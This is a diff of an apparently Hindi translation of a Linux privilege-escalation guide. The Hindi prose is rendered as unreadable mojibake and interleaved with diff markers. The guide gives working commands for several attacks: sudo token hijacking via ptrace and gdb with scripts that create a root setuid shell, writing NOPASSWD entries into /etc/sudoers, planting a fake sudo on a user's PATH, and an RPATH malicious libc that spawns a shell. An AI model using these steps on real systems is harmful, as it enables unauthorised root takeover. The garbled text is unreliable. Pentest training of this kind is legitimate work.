рдирд╣реАрдВ рд╣реИ, рдЖрдк privileges escalate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ **waiting for a sudo command execution and then hijacking the session token** рдХрд░рдХреЗред +рдРрд╕реЗ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЬрд╣рд╛рдБ рдЖрдкрдХреЗ рдкрд╛рд╕ **sudo access** рд╣реИ рдкрд░ рдкрд╛рд╕рд╡рд░реНрдб рдирд╣реАрдВ, рдЖрдк privileges escalate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВтАФрдПрдХ sudo command рдХреЗ execution рдХрд╛ рдЗрдВрддрдЬрд╝рд╛рд░ рдХрд░рдХреЗ рдФрд░ рдлрд┐рд░ session token hijack рдХрд░рдХреЗред Requirements to escalate privileges: -- рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ user _sampleuser_ рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ shell рд░рдЦрддреЗ рд╣реИрдВ -- _sampleuser_ рдиреЗ **used `sudo`** рдХрд░рдХреЗ рдкрд┐рдЫрд▓реЗ **15mins** рдореЗрдВ рдХреБрдЫ execute рдХрд┐рдпрд╛ рд╣реЛ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдпрд╣реА sudo token рдХреА рдЕрд╡рдзрд┐ рд╣реИ рдЬреЛ рд╣рдореЗрдВ `sudo` рдмрд┐рдирд╛ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рджреЗрддреА рд╣реИ) -- `cat /proc/sys/kernel/yama/ptrace_scope` рдХрд╛ рдорд╛рди 0 рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП -- `gdb` accessible рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП (рдЖрдк рдЗрд╕реЗ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХреЗрдВ) +- рдЖрдкрдХреЗ рдкрд╛рд╕ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА user "_sampleuser_" рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ shell рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП +- "_sampleuser_" рдиреЗ **`sudo`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рд╛рд▓ рдХреЗ 15 рдорд┐рдирдЯреЛрдВ рдореЗрдВ рдХреБрдЫ execute рдХрд┐рдпрд╛ рд╣реЛ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдпрд╣реА sudo token рдХреА рдЕрд╡рдзрд┐ рд╣реИ рдЬреЛ рд╣рдореЗрдВ рдмрд┐рдирд╛ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ `sudo` рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ) +- `cat /proc/sys/kernel/yama/ptrace_scope` рдХрд╛ output 0 рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП +- `gdb` accessible рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП (рдЖрдк рдЗрд╕реЗ upload рдХрд░ рдкрд╛ рд╕рдХреЗрдВ) -(рдЖрдк рдЕрд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ `ptrace_scope` рдХреЛ `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` рдЪрд▓рд╛рдХрд░ рд╕рдХреНрд╖рдо рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ `/etc/sysctl.d/10-ptrace.conf` рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ рдФрд░ `kernel.yama.ptrace_scope = 0` рд╕реЗрдЯ рдХрд░рдХреЗ) +(рдЖрдк рдЕрд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ `ptrace_scope` рдХреЛ `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` рдХреЗ рд╕рд╛рде рд╕рдХреНрд╖рдо рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ `/etc/sysctl.d/10-ptrace.conf` рдХреЛ рдмрджрд▓ рдХрд░ рдФрд░ `kernel.yama.ptrace_scope = 0` рд╕реЗрдЯ рдХрд░рдХреЗ) If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) @@ -1037,27 +1021,27 @@ bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- рдпрд╣ **second exploit** (`exploit_v2.sh`) _/tmp_ рдореЗрдВ рдПрдХ sh shell рдмрдирд╛рдПрдЧрд╛ рдЬреЛ **root рдХреЗ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рд╡рд╛рд▓рд╛ рдФрд░ setuid** рд╣реЛрдЧрд╛ +- рджреВрд╕рд░рд╛ **exploit** (`exploit_v2.sh`) _/tmp_ рдореЗрдВ рдПрдХ sh shell рдмрдирд╛рдПрдЧрд╛ рдЬреЛ **root рдХреЗ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдореЗрдВ setuid рдХреЗ рд╕рд╛рде** рд╣реЛрдЧрд╛ ```bash bash exploit_v2.sh /tmp/sh -p ``` -- рдпрд╣ **рддреАрд╕рд░рд╛ exploit** (`exploit_v3.sh`) **sudoers file рдмрдирд╛рдПрдЧрд╛** рдЬреЛ **sudo tokens рдХреЛ рд╕реНрдерд╛рдпреА рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ рд╕рднреА users рдХреЛ sudo рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ** +- рдпрд╣ **рддреАрд╕рд░рд╛ exploit** (`exploit_v3.sh`) **рдПрдХ sudoers file рдмрдирд╛рдПрдЧрд╛** рдЬреЛ **sudo tokens рдХреЛ рд╕реНрдерд╛рдпреА рдмрдирд╛ рджреЗрдЧрд╛ рдФрд░ рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ sudo рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -рдпрджрд┐ рдЙрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рдпрд╛ рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рднреАрддрд░ рдмрдирд╛рдП рдЧрдП рдХрд┐рд╕реА рднреА рдлрд╝рд╛рдЗрд▓ рдкрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ **write permissions** рд╣реИрдВ, рддреЛ рдЖрдк рдмрд╛рдЗрдирд░реА [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **create a sudo token for a user and PID** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ.\ -рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдЖрдк рдлрд╝рд╛рдЗрд▓ _/var/run/sudo/ts/sampleuser_ рдХреЛ overwrite рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЙрд╕ user рдХреЗ рд░реВрдк рдореЗрдВ PID 1234 рдХреЗ рд╕рд╛рде рдПрдХ shell рд╣реИ, рддреЛ рдЖрдк рдмрд┐рдирд╛ password рдЬрд╛рдиреЗ **obtain sudo privileges** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ doing: +рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЙрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рдпрд╛ рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ рдмрдирд╛рдИ рдЧрдИ рдХрд┐рд╕реА рднреА рдлрд╝рд╛рдЗрд▓ рдкрд░ **рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐** рд╣реИ, рддреЛ рдЖрдк рдмрд╛рдЗрдирд░реА [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА user рдФрд░ PID рдХреЗ рд▓рд┐рдП **sudo token** рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ.\ +рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЕрдЧрд░ рдЖрдк рдлрд╝рд╛рдЗрд▓ _/var/run/sudo/ts/sampleuser_ рдХреЛ overwrite рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЙрд╕ user рдХреЗ рд░реВрдк рдореЗрдВ PID 1234 рдХреЗ рд╕рд╛рде рдПрдХ shell рд╣реИ, рддреЛ рдЖрдк рдкрд╛рд╕рд╡рд░реНрдб рдЬрд╛рдиреЗ рдмрд┐рдирд╛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд░рдХреЗ **obtain sudo privileges** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -рдлрд╛рдЗрд▓ `/etc/sudoers` рдФрд░ `/etc/sudoers.d` рдХреЗ рдЕрдВрджрд░ рдХреА рдлрд╛рдЗрд▓реЗрдВ рдпрд╣ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рддреА рд╣реИрдВ рдХрд┐ рдХреМрди `sudo` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдХреИрд╕реЗред **рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдпреЗ рдлрд╛рдЗрд▓реЗрдВ рдХреЗрд╡рд▓ user root рдФрд░ group root рджреНрд╡рд╛рд░рд╛ рдкрдврд╝реА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ**.\ -**рдпрджрд┐** рдЖрдк рдЗрд╕ рдлрд╛рдЗрд▓ рдХреЛ **рдкрдврд╝** рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдХреБрдЫ рд░реЛрдЪрдХ рдЬрд╛рдирдХрд╛рд░реА **рдкреНрд░рд╛рдкреНрдд** рдХрд░ рдкрд╛рдПрдВрдЧреЗ, рдФрд░ рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рднреА рдлрд╛рдЗрд▓ рдХреЛ **рд▓рд┐рдЦ** рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк **escalate privileges** рдХрд░ рдкрд╛рдПрдВрдЧреЗ. +рдлрд╝рд╛рдЗрд▓ `/etc/sudoers` рдФрд░ `/etc/sudoers.d` рдХреЗ рдЕрдВрджрд░ рдХреА рдлрд╝рд╛рдЗрд▓реЗрдВ рдпрд╣ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рддреА рд╣реИрдВ рдХрд┐ рдХреМрди `sudo` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдХреИрд╕реЗред рдпреЗ рдлрд╝рд╛рдЗрд▓реЗрдВ **рдбрд┐рдлреЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдХреЗрд╡рд▓ user root рдФрд░ group root рджреНрд╡рд╛рд░рд╛ рдкрдврд╝реА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ**.\ +**рдпрджрд┐** рдЖрдк рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ **рдкрдврд╝** рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк **рдХреБрдЫ рд░реЛрдЪрдХ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**, рдФрд░ рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рднреА рдлрд╝рд╛рдЗрд▓ рдХреЛ **рд▓рд┐рдЦ** рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк **escalate privileges** рдХрд░ рдкрд╛рдПрдВрдЧреЗред ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -1067,7 +1051,7 @@ ls -ld /etc/sudoers.d/ echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -рдЗрди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдФрд░ рддрд░реАрдХрд╛: +рдЗрди permissions рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдФрд░ рддрд░реАрдХрд╛: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1076,17 +1060,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -OpenBSD рдХреЗ рд▓рд┐рдП `sudo` рдмрд╛рдЗрдирд░реА рдХреЗ рдХреБрдЫ рд╡рд┐рдХрд▓реНрдк рд╣реИрдВ, рдЬреИрд╕реЗ `doas` тАФ рдЗрд╕рдХреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ `/etc/doas.conf` рдореЗрдВ рдЬрд╛рдВрдЪрдирд╛ рди рднреВрд▓реЗрдВред +OpenBSD рдХреЗ рд▓рд┐рдП `doas` рдЬреИрд╕реЗ `sudo` рдмрд╛рдЗрдирд░реА рдХреЗ рдХреБрдЫ рд╡рд┐рдХрд▓реНрдк рд╣реЛрддреЗ рд╣реИрдВ; рдЗрд╕рдХреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ `/etc/doas.conf` рдкрд░ рдЬрд╛рдВрдЪрдирд╛ рди рднреВрд▓реЗрдВред ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -рдпрджрд┐ рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдПрдХ **user рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдХрд┐рд╕реА machine рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рддрд╛ рд╣реИ рдФрд░ privileges рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП `sudo` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ** рдФрд░ рдЖрдкрдиреЗ рдЙрд╕ user context рдореЗрдВ shell рд╣рд╛рд╕рд┐рд▓ рдХрд░ рд▓рд┐рдпрд╛ рд╣реИ, рддреЛ рдЖрдк **рдПрдХ рдирдпрд╛ sudo executable рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ** рдЬреЛ рдкрд╣рд▓реЗ рдЖрдкрдХрд╛ рдХреЛрдб root рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рд╛рдПрдЧрд╛ рдФрд░ рдлрд┐рд░ user рдХрд╛ рдХрдорд╛рдВрдбред рдЙрд╕рдХреЗ рдмрд╛рдж user context рдХрд╛ **$PATH** рдмрджрд▓ рджреЗрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдирдИ path рдХреЛ .bash_profile рдореЗрдВ рдЬреЛрдбрд╝рдХрд░), рддрд╛рдХрд┐ рдЬрдм user sudo рдЪрд▓рд╛рдП рддреЛ рдЖрдкрдХрд╛ sudo executable execute рд╣реЛред +рдпрджрд┐ рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ **user usually connects to a machine and uses `sudo`** to escalate privileges рдФрд░ рдЖрдкрдиреЗ рдЙрд╕ user context рдореЗрдВ рдПрдХ shell рдкреНрд░рд╛рдкреНрдд рдХрд░ рд▓рд┐рдпрд╛ рд╣реИ, рддреЛ рдЖрдк **рдПрдХ рдирдпрд╛ sudo executable рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ** рдЬреЛ рдкрд╣рд▓реЗ рдЖрдкрдХреЗ рдХреЛрдб рдХреЛ root рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рд╛рдПрдЧрд╛ рдФрд░ рдлрд┐рд░ user рдХрд╛ рдХрдорд╛рдВрдб рдЪрд▓рд╛рдПрдЧрд╛ред рдЗрд╕рдХреЗ рдмрд╛рдж, user context рдХрд╛ **$PATH** рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдирдИ path рдХреЛ .bash_profile рдореЗрдВ рдЬреЛрдбрд╝рдХрд░) рддрд╛рдХрд┐ рдЬрдм user `sudo` рдЪрд▓рд╛рдП рддреЛ рдЖрдкрдХрд╛ sudo executable execute рд╣реЛред -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ user рдХрд┐рд╕реА рдЕрд▓рдЧ shell (not bash) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рддреЛ рдЖрдкрдХреЛ рдирдИ path рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреНрдп files рдХреЛ modify рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` рдХреЛ modify рдХрд░рддрд╛ рд╣реИред рдЖрдк [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) рдореЗрдВ рдПрдХ рдФрд░ рдЙрджрд╛рд╣рд░рдг рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЕрдЧрд░ user рдХрд┐рд╕реА рдЕрд▓рдЧ shell (not bash) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рддреЛ рдЖрдкрдХреЛ рдирдИ path рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреНрдп files рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрди рдХрд░рдиреЗ рд╣реЛрдВрдЧреЗред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддрд╛ рд╣реИред рдЖрдк рдПрдХ рдФрд░ рдЙрджрд╛рд╣рд░рдг [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) рдореЗрдВ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ -рдпрд╛ рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рдЪрд▓рд╛рдирд╛: +Or running something like: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -lib рдХреЛ `/var/tmp/flag15/` рдореЗрдВ рдХреЙрдкреА рдХрд░рдиреЗ рдкрд░ рдпрд╣ рдкреНрд░реЛрдЧреНрд░рд╛рдо рджреНрд╡рд╛рд░рд╛ `RPATH` рд╡реИрд░рд┐рдПрдмрд▓ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЗрд╕ рд╕реНрдерд╛рди рдкрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред +lib рдХреЛ `/var/tmp/flag15/` рдореЗрдВ рдХреЙрдкреА рдХрд░рдиреЗ рдкрд░, рдпрд╣ рдкреНрд░реЛрдЧреНрд░рд╛рдо рджреНрд╡рд╛рд░рд╛ рдЙрд╕ рд╕реНрдерд╛рди рдкрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдЬреИрд╕рд╛ рдХрд┐ `RPATH` рд╡реЗрд░рд┐рдПрдмрд▓ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╣реИред ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1136,7 +1121,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -рдлрд┐рд░ `/var/tmp` рдореЗрдВ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдмрдирд╛рдПрдВ, рдЗрд╕рдХреЗ рд▓рд┐рдП рдЪрд▓рд╛рдПрдБ `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +рдлрд┐рд░ `/var/tmp` рдореЗрдВ `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ evil library рдмрдирд╛рдПрдВ ```c #include #define SHELL "/bin/sh" @@ -1151,8 +1136,8 @@ execve(file,argv,0); ``` ## рдХреНрд╖рдорддрд╛рдПрдБ -Linux capabilities рдХрд┐рд╕реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЙрдкрд▓рдмреНрдз **root privileges рдХрд╛ рдПрдХ subset** рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ **root privileges рдХреЛ рдЫреЛрдЯреЗ рдФрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЗрдХрд╛рдЗрдпреЛрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд** рдХрд░ рджреЗрддрд╛ рд╣реИред рдЗрдирдореЗрдВ рд╕реЗ рдкреНрд░рддреНрдпреЗрдХ рдЗрдХрд╛рдИ рдХреЛ рд╕реНрд╡рддрдВрддреНрд░ рд░реВрдк рд╕реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рддрд░рд╣ рдкреВрд░реЗ privileges рдХрд╛ рд╕реЗрдЯ рдХрдо рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ exploitation рдХреЗ рдЬреЛрдЦрд┐рдо рдШрдЯрддреЗ рд╣реИрдВ.\ -рдирд┐рдореНрди рдкреГрд╖реНрда рдкрдврд╝реЗрдВ рддрд╛рдХрд┐ рдЖрдк **рдХреНрд╖рдорддрд╛рдПрдБ рдФрд░ рдЙрдиреНрд╣реЗрдВ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдФрд░ рдЕрдзрд┐рдХ рдЬрд╛рди рд╕рдХреЗрдВ**: +Linux capabilities рдХрд┐рд╕реА process рдХреЛ рдЙрдкрд▓рдмреНрдз root privileges рдХрд╛ **рдПрдХ рдЙрдкрд╕рдореВрд╣** рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ root **privileges рдХреЛ рдЫреЛрдЯреЗ рдФрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЗрдХрд╛рдЗрдпреЛрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд** рдХрд░ рджреЗрддрд╛ рд╣реИред рдЗрди рдЗрдХрд╛рдЗрдпреЛрдВ рдореЗрдВ рд╕реЗ рдкреНрд░рддреНрдпреЗрдХ рдХреЛ рд╕реНрд╡рддрдВрддреНрд░ рд░реВрдк рд╕реЗ processes рдХреЛ рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рддрд░рд╣ рдкреВрд░реА privileges рд╕реЗрдЯ рдХрдо рд╣реЛ рдЬрд╛рддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ exploitation рдХреЗ рдЬреЛрдЦрд┐рдо рдШрдЯрддреЗ рд╣реИрдВред\ +Read the following page to **learn more about capabilities and how to abuse them**: {{#ref}} @@ -1161,14 +1146,14 @@ linux-capabilities.md ## рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдЕрдиреБрдорддрд┐рдпрд╛рдБ -рдХрд┐рд╕реА рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ, **"execute" рдмрд┐рдЯ** рдпрд╣ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИ рдХрд┐ рдкреНрд░рднрд╛рд╡рд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЙрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ "**cd**" рдХрд░ рд╕рдХрддрд╛ рд╣реИ.\ -**"read"** рдмрд┐рдЯ рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рд╕реВрдЪреА рджреЗрдЦ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ **"write"** рдмрд┐рдЯ рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╣рдЯрд╛рдиреЗ рдФрд░ рдирдИ рдлрд╝рд╛рдЗрд▓реЗрдВ рдмрдирд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИред +рдПрдХ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ, the **bit for "execute"** implies that the user affected can "**cd**" into the folder.\ +The **"read"** bit implies the user can **list** the **files**, and the **"write"** bit implies the user can **delete** and **create** new **files**. ## ACLs -Access Control Lists (ACLs) рд╡рд┐рд╡реЗрдХрд╛рдиреБрд╕рд╛рд░ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рджреНрд╡рд┐рддреАрдпрдХ рдкрд░рдд рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВ, рдЬреЛ рдкрд╛рд░рдВрдкрд░рд┐рдХ ugo/rwx permissions рдХреЛ **override** рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИрдВред рдпреЗ permissions рдлрд╝рд╛рдЗрд▓ рдпрд╛ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдПрдХреНрд╕реЗрд╕ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдмрдврд╝рд╛рддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рдЙрди рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЕрдзрд┐рдХрд╛рд░ рджреЗрдиреЗ рдпрд╛ рди рджреЗрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ рдЬреЛ рдорд╛рд▓рд┐рдХ рдирд╣реАрдВ рд╣реИрдВ рдпрд╛ рд╕рдореВрд╣ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рдирд╣реАрдВ рд╣реИрдВред рдпрд╣ рд╕реНрддрд░ **рд╕реВрдХреНрд╖реНрдорддрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЕрдзрд┐рдХ рд╕рдЯреАрдХ рдПрдХреНрд╕реЗрд╕ рдкреНрд░рдмрдВрдзрди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ**ред Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) represent the secondary layer of discretionary permissions, capable of **overriding the traditional ugo/rwx permissions**. рдпреЗ permissions file рдпрд╛ directory рдХреЗ access рдкрд░ рдЕрдзрд┐рдХ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рдпреЗ рдЙрди specific users рдХреЛ рдЕрдзрд┐рдХрд╛рд░ рджреЗрдиреЗ рдпрд╛ рдирдХрд╛рд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ 